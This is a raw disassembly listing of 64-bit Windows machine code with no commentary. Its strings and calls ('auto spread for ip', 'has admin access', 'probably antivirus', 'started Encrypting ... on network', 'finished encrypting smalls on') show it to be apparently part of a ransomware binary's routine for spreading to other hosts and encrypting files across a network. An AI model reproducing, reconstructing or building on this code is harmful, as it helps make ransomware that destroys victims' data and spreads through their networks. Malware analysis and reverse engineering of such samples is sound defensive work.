jmp 0x140038805
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a9e9
cmp r14, 0xa
ja 0x1400388cd
movaps xmmword [rsp + 0xa0], xmm6
mov qword [rsp + 0xb0], 0
add r14b, r14b
mov byte [rsp + 0xa0], r14b
xor edi, edi
jmp 0x14003891c
mov r13, r14
or r13, 7
inc r13
js 0x14003aa23
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], r14
movzx eax, byte [rsp + 0x80]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0xa2]
cmove rdi, rcx
lea rdx, [rsp + 0x82]
test al, al
je 0x140038940
mov rdx, qword [rsp + 0x90]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], rax
movups xmmword [rdi + rbx*2], xmm8
movups xmmword [rdi + rbx*2 + 0x10], xmm9
mov word [rdi + rbx*2 + 0x26], 0
lea rcx, [rsp + 0xa0]
lea rdx, str._running.txt
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x1400389b0
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 3
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
test byte [rsp + 0x60], 1
je 0x1400389ee
mov rcx, qword [rsp + 0x70]
call fcn.140073240
mov qword [rsp + 0x180], rdi
test byte [rsp + 0xa0], 1
je 0x140038a0d
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
movzx ebx, byte [rsp + 0x80]
mov eax, ebx
and al, 1
je 0x140038a25
mov rbx, qword [rsp + 0x88]
jmp 0x140038a28
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003a9dc
cmp r14, 0xa
ja 0x140038a68
movaps xmmword [rsp + 0xa0], xmm6
mov qword [rsp + 0xb0], 0
add r14b, r14b
mov byte [rsp + 0xa0], r14b
xor edi, edi
jmp 0x140038ab7
mov r13, r14
or r13, 7
inc r13
js 0x14003aa28
mov rcx, r13
add rcx, r13
call fcn.1400731c0
mov rdi, rax
or r13, 1
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], r14
movzx eax, byte [rsp + 0x80]
and al, 1
mov r14d, r13d
lea r13, [rsp + 0x148]
test r14b, 1
lea rcx, [rsp + 0xa2]
cmove rdi, rcx
lea rdx, [rsp + 0x82]
test al, al
je 0x140038adb
mov rdx, qword [rsp + 0x90]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], rax
movups xmmword [rdi + rbx*2], xmm8
movups xmmword [rdi + rbx*2 + 0x10], xmm9
mov word [rdi + rbx*2 + 0x26], 0
lea r14, [rsp + 0xa0]
mov rcx, r14
lea rdx, str.ids
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
mov rbx, qword [rsp + 0x180]
je 0x140038b56
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 1
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbp, rax
test byte [rsp + 0x60], 1
je 0x140038b97
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x140038bae
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
mov dil, 1
cmp rbx, 0xffffffffffffffff
jne 0x14003901f
cmp rbp, 0xffffffffffffffff
je 0x14003901f
mov rcx, rbp
mov rax, qword [rsp + 0x108]
mov rdx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, 0x14
jne 0x14003901f
mov byte [rsp + 0x174], 0
mov rax, qword [rsp + 0x108]
mov r9, qword [rax + 0x10]
mov qword [rsp + 0x20], 0
mov rcx, rbp
lea rdx, [rsp + 0x160]
mov r8d, 0x14
call qword [sym.imp.KERNEL32.DLL_ReadFile]
lea rdi, [rsp + 0x110]
mov rcx, rdi
lea rdx, str.auto_spread_for_ip
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, rdi
lea rdx, str.is_done___id:
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x30
call fcn.1400731c0
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x130], 0x19
mov qword [rsp + 0x138], 0x14
movq xmm0, qword [rsp + 0x160]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rax], xmm0
movq xmm0, qword [rsp + 0x168]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rax + 0x10], xmm0
punpcklbw xmm0, xmmword [rsp + 0x170]
psraw xmm0, 8
movq qword [rax + 0x20], xmm0
mov word [rax + 0x28], 0
movzx ecx, byte [rsp + 0x130]
mov edx, ecx
shr dl, 1
test cl, 1
lea rcx, [rsp + 0x132]
cmove rax, rcx
movzx ecx, dl
mov edx, 0x14
cmovne ecx, edx
movzx r8d, cl
mov rcx, r14
mov rdx, rax
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140038d3d
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x60], 1
jne 0x140038def
test byte [rsp + 0x130], 1
jne 0x140038e07
test byte [rsp + 0xa0], 1
jne 0x140038e22
test byte [rsp + 0x110], 1
je 0x140038d82
mov rcx, qword [rsp + 0x120]
call fcn.140073240
mov rax, qword [rsp + 0x108]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x100]
movzx ebx, byte [rax]
test bl, 1
je 0x140038e42
mov rdi, qword [rax + 0x10]
mov rbx, qword [rax + 8]
jmp 0x140038e4d
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x140038192
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
jne 0x14003819c
jmp 0x1400381a9
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0x130], 1
je 0x140038d5d
mov rcx, qword [rsp + 0x140]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x140038d6b
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
jne 0x140038d75
jmp 0x140038d82
shr rbx, 1
mov rdi, qword [rsp + 0x188]
lea rax, [rbx + rbx]
cmp rax, 0xffffffffffffffdf
jae 0x14003aa3f
cmp rax, 0x2d
ja 0x140038e75
lea eax, [rbx + rbx]
mov byte [rsp + 0x110], al
lea rax, [rsp + 0x111]
jmp 0x140038eab
mov r14, rbx
or r14, 0xf
inc r14
mov rcx, r14
call fcn.1400731c0
mov qword [rsp + 0x120], rax
or r14, 1
mov qword [rsp + 0x110], r14
mov qword [rsp + 0x118], rbx
lea r14, [rsp + 0xa0]
test rbx, rbx
je 0x140038f15
movabs rdx, 0x7fffffffffffffef
lea rcx, [rdx + 0x10]
lea r8, [rbx + rdx]
add r8, 0x10
and r8, rcx
cmp r8, 0x17
jb 0x140038ef0
lea rcx, [rdi + r8*2]
add rcx, 2
cmp rax, rcx
jae 0x1400391b4
lea rcx, [rax + r8]
inc rcx
cmp rdi, rcx
jae 0x1400391b4
mov rcx, rax
mov rdx, rdi
lea rax, [rdi + rbx*2]
nop word [rax + rax]
movzx r8d, byte [rdx]
mov byte [rcx], r8b
add rdx, 2
inc rcx
cmp rdx, rax
jne 0x140038f00
jmp 0x140038f18
mov rcx, rax
mov byte [rcx], 0
lea rcx, [rsp + 0x110]
lea rdx, [0x14025bb8f]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rcx, r14
lea rdx, [rsp + 0x160]
call fcn.140075640
mov rbx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x1b8]
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x70], rdx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rcx + 8]
cmp rax, qword [rcx + 0x10]
jae 0x140038fe7
mov rdx, qword [rsp + 0x70]
mov qword [rax + 0x10], rdx
movdqa xmm0, xmmword [rsp + 0x60]
movdqu xmmword [rax], xmm0
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add rax, 0x18
mov qword [rcx + 8], rax
test byte [rsp + 0xa0], 1
je 0x140039006
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
jne 0x140039010
jmp 0x14003901d
lea rdx, [rsp + 0x60]
call fcn.140036470
test byte [rsp + 0x60], 1
jne 0x140039197
test byte [rsp + 0xa0], 1
jne 0x140038fce
test byte [rsp + 0x110], 1
je 0x14003901d
mov rcx, qword [rsp + 0x120]
call fcn.140073240
xor edi, edi
mov rax, rbp
inc rax
cmp rax, 2
jb 0x140039034
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rax, [rbx + 1]
cmp rax, 2
jb 0x140039047
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test dil, dil
mov rbp, qword [rsp + 0x188]
je 0x140039182
mov rcx, r14
lea rdx, str.auto_spread_for_ip
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rcx, r14
lea rdx, str.failed_because_of_write_error_or_excution_error__probably_antivirus_
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x1400390ad
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x60], 1
je 0x1400390c5
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x1400390dc
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
mov dil, 1
test byte [rsp + 0xe0], 1
je 0x1400390f6
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
test dil, dil
je 0x14003a95d
mov rax, qword [rsp + 0x108]
mov rax, qword [rax]
cmp byte [rax], 0
jne 0x14003a827
test byte [rsp + 0x80], 1
je 0x14003912a
mov rcx, qword [rsp + 0x90]
call fcn.140073240
test byte [rsp + 0xc0], 1
je 0x140039150
mov rcx, qword [rsp + 0xd0]
call fcn.140073240
nop word cs:[rax + rax]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x140039170
nop word [rax + rax]
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x140039160
jmp 0x1400373e0
mov rax, qword [r12 + 0x10]
cmp qword [rax], r12
mov r12, rax
jne 0x140039170
jmp 0x1400373e0
xor edi, edi
test byte [rsp + 0xe0], 1
jne 0x1400390e9
jmp 0x1400390f6
mov rcx, qword [rsp + 0x70]
call fcn.140073240
test byte [rsp + 0xa0], 1
je 0x140039006
jmp 0x140038fce
inc r8
mov r9, r8
and r9, 0xfffffffffffffff0
lea rcx, [rax + r9]
lea rdx, [rdi + r9*2]
xor r10d, r10d
movdqu xmm0, xmmword [rdi + r10*2]
movdqu xmm1, xmmword [rdi + r10*2 + 0x10]
pand xmm0, xmm7
pand xmm1, xmm7
packuswb xmm0, xmm1
movdqu xmmword [rax + r10], xmm0
add r10, 0x10
cmp r9, r10
jne 0x1400391c9
cmp r8, r9
jne 0x140038ef6
jmp 0x140038f18
mov r12, qword [rsp + 0x108]
mov rax, qword [r12 + 0x20]
cmp byte [rax], 0
jne 0x140039243
cmp byte [0x1402da568], 0
je 0x140039243
mov rax, qword [r12 + 0x28]
cmp dword [rax], 0
je 0x140039243
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
nop dword [rax + rax]
mov rax, qword [r12 + 0x30]
cmp byte [rax], 0
jne 0x140039243
mov ecx, 0x3e8
call rsi
jmp 0x140039230
mov rax, qword [rsp + 0x198]
mov r15, qword [rax]
add rax, 8
mov qword [rsp + 0x198], rax
cmp r15, rax
je 0x140039861
mov rax, qword [rsp + 0x100]
add rax, 2
mov qword [rsp + 0x188], rax
mov ebx, 0xffffffff
lea rsi, [rsp + 0xe0]
xorps xmm6, xmm6
jmp 0x1400392a1
mov r15, rax
cmp rax, qword [rsp + 0x198]
je 0x140039866
mov rax, qword [r15 + 0x38]
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rcx, rsi
lea rdx, [0x14025e488]
mov r8, qword [rsp + 0x100]
call fcn.140013830
mov rdi, rsi
mov rcx, rsi
lea rdx, [0x140259684]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [r15 + 0x20]
lea r14, [r15 + 0x22]
test r8b, 1
je 0x140039320
mov rdx, qword [r15 + 0x30]
mov r8, qword [r15 + 0x28]
jmp 0x140039326
shr r8, 1
mov rdx, r14
lea rcx, [rsp + 0x80]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x14003936e
mov rcx, qword [rsp + 0x90]
call fcn.140073240
test byte [rsp + 0xe0], 1
je 0x140039385
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
lea rcx, [rsp + 0x368]
lea rdx, [rsp + 0xc0]
call fcn.140075840
lea rbp, [r15 + 0x38]
lea rcx, [rsp + 0x368]
mov rdx, rbp
lea r8, [rsp + 0x60]
call fcn.140059e60
test byte [rsp + 0x368], 1
je 0x1400393ca
mov rcx, qword [rsp + 0x378]
call fcn.140073240
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0xc0]
call fcn.140075840
lea rcx, [rsp + 0x350]
call fcn.140013b20
mov esi, eax
test byte [rsp + 0x350], 1
je 0x140039405
mov rcx, qword [rsp + 0x360]
call fcn.140073240
test sil, sil
je 0x140039480
test byte [r15 + 0x20], 1
je 0x140039415
mov r14, qword [r15 + 0x30]
mov rcx, r14
lea rdx, str.ADMIN_
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
je 0x140039488
cmp ebx, 0xffffffff
jne 0x140039760
mov rcx, qword [r12 + 0x38]
call fcn.1400741a0
mov r12, qword [rsp + 0x108]
mov rax, qword [r12 + 0x40]
mov ebx, dword [rax]
lea ecx, [rbx + 1]
mov dword [rax], ecx
mov r14, qword [r12 + 0x48]
mov rdx, qword [r14 + 8]
cmp rdx, qword [r14 + 0x10]
je 0x1400395d2
mov dword [rdx], ebx
add rdx, 4
mov qword [r14 + 8], rdx
jmp 0x140039756
mov rsi, rdi
jmp 0x140039820
mov rcx, qword [rsp + 0x100]
movzx esi, byte [rcx]
mov eax, esi
mov rbp, rbx
and al, 1
je 0x1400394a2
mov rsi, qword [rcx + 8]
jmp 0x1400394a5
shr rsi, 1
lea rbx, [rsi + 0x11]
movabs rcx, 0x7fffffffffffffef
cmp rbx, rcx
ja 0x14003a97d
cmp rbx, 0xa
ja 0x1400394e4
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
add bl, bl
mov byte [rsp + 0x80], bl
xor r14d, r14d
jmp 0x140039534
mov r12, rbx
or r12, 7
inc r12
js 0x14003a98a
lea rcx, [r12 + r12]
call fcn.1400731c0
mov r14, rax
or r12, 1
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], rbx
mov rax, qword [rsp + 0x100]
movzx eax, byte [rax]
and al, 1
mov ebx, r12d
mov r12, qword [rsp + 0x108]
test bl, 1
lea rcx, [rsp + 0x82]
cmove r14, rcx
mov rdx, qword [rsp + 0x188]
test al, al
je 0x14003955b
mov rax, qword [rsp + 0x100]
mov rdx, qword [rax + 0x10]
lea r8, [rsi + rsi]
mov rcx, r14
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str._has_admin_access]
movups xmmword [r14 + rsi*2], xmm0
movdqu xmm0, xmmword [0x14025ea9c]
movdqu xmmword [r14 + rsi*2 + 0x10], xmm0
mov dword [r14 + rsi*2 + 0x20], 0x73
test byte [rsp + 0x80], 1
lea rcx, [rsp + 0x82]
mov rbx, rbp
je 0x1400395a8
mov rcx, qword [rsp + 0x90]
mov dl, 1
call fcn.140011c60
mov rsi, rdi
test byte [rsp + 0x80], 1
je 0x140039820
mov rcx, qword [rsp + 0x90]
call fcn.140073240
jmp 0x140039820
mov qword [rsp + 0x180], rbx
mov rcx, qword [r14]
mov rsi, rdx
sub rsi, rcx
mov rbx, rsi
sar rbx, 2
lea rax, [rbx + 1]
movabs r9, 0x3fffffffffffffff
cmp rax, r9
ja 0x14003a999
movabs r8, 0x7fffffffffffffef
add r8, 0xd
mov r12, rsi
shr r12, 1
cmp r12, rax
cmovbe r12, rax
cmp rsi, r8
cmovae r12, r9
test r12, r12
je 0x140039647
cmp r12, r9
ja 0x14003a9c0
lea rcx, [r12*4]
call fcn.1400731c0
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
jmp 0x140039649
xor eax, eax
lea r8, [rax + rbx*4]
mov r9, qword [rsp + 0x180]
mov dword [rax + rbx*4], r9d
mov r10, rdx
sub r10, rcx
je 0x140039725
add r10, 0xfffffffffffffffc
cmp r10, 0x4c
jae 0x140039677
mov r9, rdx
jmp 0x140039710
add rsi, rax
mov r9, rdx
sub r9, rsi
cmp r9, 0x20
jae 0x14003968e
mov r9, rdx
jmp 0x140039710
shr r10, 2
inc r10
mov r13, r10
and r13, 0xfffffffffffffff8
lea r11, [r13*4]
sub r8, r11
mov r9, rdx
sub r9, r11
lea rsi, [rax + rbx*4]
add rsi, 0xfffffffffffffff0
mov qword [rsp + 0x1b8], r13
mov r11, r13
neg r11
xor r13d, r13d
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rdx + r13*4 - 0x20]
movdqu xmm1, xmmword [rdx + r13*4 - 0x10]
movdqu xmmword [rsi + r13*4], xmm1
movdqu xmmword [rsi + r13*4 - 0x10], xmm0
add r13, 0xfffffffffffffff8
cmp r11, r13
jne 0x1400396d0
cmp r10, qword [rsp + 0x1b8]
lea r13, [rsp + 0x148]
je 0x140039725
nop word cs:[rax + rax]
mov edx, dword [r9 - 4]
add r9, 0xfffffffffffffffc
mov dword [r8 - 4], edx
add r8, 0xfffffffffffffffc
cmp r9, rcx
jne 0x140039710
lea rdx, [rax + r12*4]
lea rax, [rax + rbx*4]
add rax, 4
mov qword [r14], r8
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rdx
test rcx, rcx
mov r12, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x180]
je 0x140039756
call fcn.140073240
mov rcx, qword [r12 + 0x38]
call fcn.1400741d0
mov rax, qword [r12 + 0x40]
mov rcx, qword [r12 + 0x50]
mov edx, dword [rax]
mov eax, dword [rcx]
sub edx, eax
mov eax, dword [0x14029c044]
imul edx, dword [0x14029c050]
lea ecx, [rax + 1]
imul edx, ecx
shl edx, 6
cmp edx, 0x1c2000
jl 0x1400397ca
cmp eax, 5
jl 0x14003979d
mov dword [0x14029c044], 4
mov rax, qword [r12 + 0x40]
mov rcx, qword [r12 + 0x50]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub eax, ecx
mov ecx, dword [0x14029c044]
inc ecx
imul ecx, eax
shl ecx, 6
mov eax, 0x1c2000
xor edx, edx
idiv ecx
mov dword [0x14029c050], eax
lea rsi, [rsp + 0x3b8]
mov rcx, rsi
lea rdx, [rsp + 0xc0]
call fcn.140075840
mov qword [rsp + 0x20], rbp
mov ecx, ebx
mov rdx, rsi
lea r8, [rsp + 0x148]
lea r9, [rsp + 0x60]
call fcn.1400239b0
test byte [rsp + 0x3b8], 1
mov rsi, rdi
je 0x140039818
mov rcx, qword [rsp + 0x3c8]
call fcn.140073240
mov r12, qword [rsp + 0x108]
test byte [rsp + 0xc0], 1
je 0x140039837
mov rcx, qword [rsp + 0xd0]
call fcn.140073240
mov rcx, qword [r15 + 8]
test rcx, rcx
je 0x140039850
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x140039840
jmp 0x140039290
mov rax, qword [r15 + 0x10]
cmp qword [rax], r15
mov r15, rax
jne 0x140039850
jmp 0x140039290
mov ebx, 0xffffffff
mov rax, qword [r12 + 0x20]
cmp byte [rax], 0
mov r15, qword [rsp + 0x100]
je 0x1400398a3
cmp byte [0x1402da568], 0
je 0x1400398a3
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
nop dword [rax + rax]
mov rax, qword [r12 + 0x30]
cmp byte [rax], 0
jne 0x1400398a3
mov ecx, 0x3e8
call rsi
jmp 0x140039890
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
nop word [rax + rax]
cmp qword [0x1402da5e0], 0
je 0x1400398d7
mov rax, qword [r12 + 0x58]
cmp byte [rax], 0
jne 0x1400398d7
mov ecx, 0x3e8
call rsi
jmp 0x1400398b0
mov ecx, 0x32
call rsi
mov rax, qword [r12 + 0x60]
movzx eax, byte [rax]
test al, 1
je 0x1400398d0
cmp ebx, 0xffffffff
je 0x14003a6e6
cmp byte [0x14029c030], 0
je 0x140039920
lea rdx, str.started_Encrypting_largesvlarges_on_network
lea rcx, [rsp + 0xc0]
mov r8, r15
call fcn.140013830
test byte [rsp + 0xc0], 1
je 0x14003994b
mov rcx, qword [rsp + 0xd0]
jmp 0x140039953
lea rdx, str.started_Encrypting_smallsnormalls_on_network
lea rcx, [rsp + 0xc0]
mov r8, r15
call fcn.140013830
test byte [rsp + 0xc0], 1
je 0x14003995c
mov rcx, qword [rsp + 0xd0]
jmp 0x140039964
lea rcx, [rsp + 0xc2]
mov dl, 1
call fcn.140011c60
jmp 0x14003996b
lea rcx, [rsp + 0xc2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xc0], 1
je 0x140039982
mov rcx, qword [rsp + 0xd0]
call fcn.140073240
call fcn.14003b300
mov eax, dword [0x1402d7298]
mov r12, rbx
cmp ebx, eax
jle 0x140039a0c
xor ebp, ebp
lea r14, [rsp + 0xc2]
lea rdi, str.stock_at_after_DN_check_at
lea rbx, [rsp + 0xc0]
jmp 0x1400399bd
mov eax, dword [0x1402d7298]
inc ebp
cmp r12d, eax
jle 0x140039a0c
mov ecx, 0x3e8
call rsi
cmp ebp, 0xa
jb 0x1400399b0
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.140013830
test byte [rsp + 0xc0], 1
mov rcx, r14
je 0x1400399ec
mov rcx, qword [rsp + 0xd0]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xc0], 1
je 0x1400399b0
mov rcx, qword [rsp + 0xd0]
call fcn.140073240
jmp 0x1400399b0
lea rcx, [rsp + 0xc0]
mov rdx, r15
call fcn.140075840
cmp byte [0x14029c030], 0
mov rbx, r12
je 0x140039b27
movsxd rax, ebx
mov rcx, qword [0x1402da2e0]
lea rbp, [rax + rax*2]
mov rcx, qword [rcx + rbp*8]
add rcx, 0x48
mov byte [rsp + 0x250], 0xc
movabs rsi, 0x6700720061006c
mov qword [rsp + 0x252], rsi
mov dword [rsp + 0x25a], 0x730065
mov word [rsp + 0x25e], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov rdx, rbx
lea rbx, [0x1402db950]
mov qword [rsp + 0x58], rbx
lea r14, [0x1402da4b4]
mov qword [rsp + 0x50], r14
lea r15, [0x1402da4b0]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], edx
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 3
lea rdx, [rsp + 0x250]
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0x250], 1
je 0x140039af0
mov rcx, qword [rsp + 0x260]
call fcn.140073240
lea rdx, str.finished_encrypting_vlrges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x140039cac
mov rcx, qword [rsp + 0x90]
jmp 0x140039cb4
mov rdi, qword [rsp + 0x150]
jmp 0x140039b44
mov rdi, qword [rdi + 8]
cmp rdi, r13
je 0x140039b7a
mov rcx, qword [rdi + 0x10]
call fcn.14009c250
test al, al
jne 0x140039b5f
mov rcx, qword [rdi + 0x10]
call fcn.140077dc0
mov rsi, qword [rdi + 0x10]
test rsi, rsi
je 0x140039b40
mov rcx, rsi
call fcn.140077da0
mov rcx, rsi
call fcn.140073240
jmp 0x140039b40
cmp qword [rsp + 0x158], 0
je 0x140039bd1
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [r8 + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], r8
mov qword [rsp + 0x158], 0
cmp rcx, r13
je 0x140039bd1
nop dword [rax + rax]
mov rsi, qword [rcx + 8]
call fcn.140073240
mov rcx, rsi
cmp rsi, r13
jne 0x140039bc0
movsxd rax, ebx
mov rcx, qword [0x1402da2e0]
lea rsi, [rax + rax*2]
mov rdi, qword [rcx + rsi*8]
lea rcx, [rsp + 0x2f0]
lea rdx, [rsp + 0xc0]
call fcn.140075840
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
lea rbx, [0x1402db950]
mov qword [rsp + 0x58], rbx
lea r14, [0x1402da4b4]
mov qword [rsp + 0x50], r14
lea r15, [0x1402da4b0]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x2f0]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0x2f0], 1
je 0x140039c75
mov rcx, qword [rsp + 0x300]
call fcn.140073240
lea rdx, str.finished_encrypting_smalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a1e9
mov rcx, qword [rsp + 0x90]
jmp 0x14003a1f1
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x140039cd2
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rcx, qword [rax + rbp*8]
add rcx, 0x30
mov byte [rsp + 0x238], 0xc
mov qword [rsp + 0x23a], rsi
mov dword [rsp + 0x242], 0x730065
mov word [rsp + 0x246], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 2
lea rdx, [rsp + 0x238]
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0x238], 1
je 0x140039d6e
mov rcx, qword [rsp + 0x248]
call fcn.140073240
lea rdx, str.finished_encrypting_larges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x140039d9e
mov rcx, qword [rsp + 0x90]
jmp 0x140039da6
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x140039dc4
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rcx, qword [rax + rbp*8]
add rcx, 0x60
mov byte [rsp + 0x220], 0xc
mov qword [rsp + 0x222], rsi
mov dword [rsp + 0x22a], 0x730065
mov word [rsp + 0x22e], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
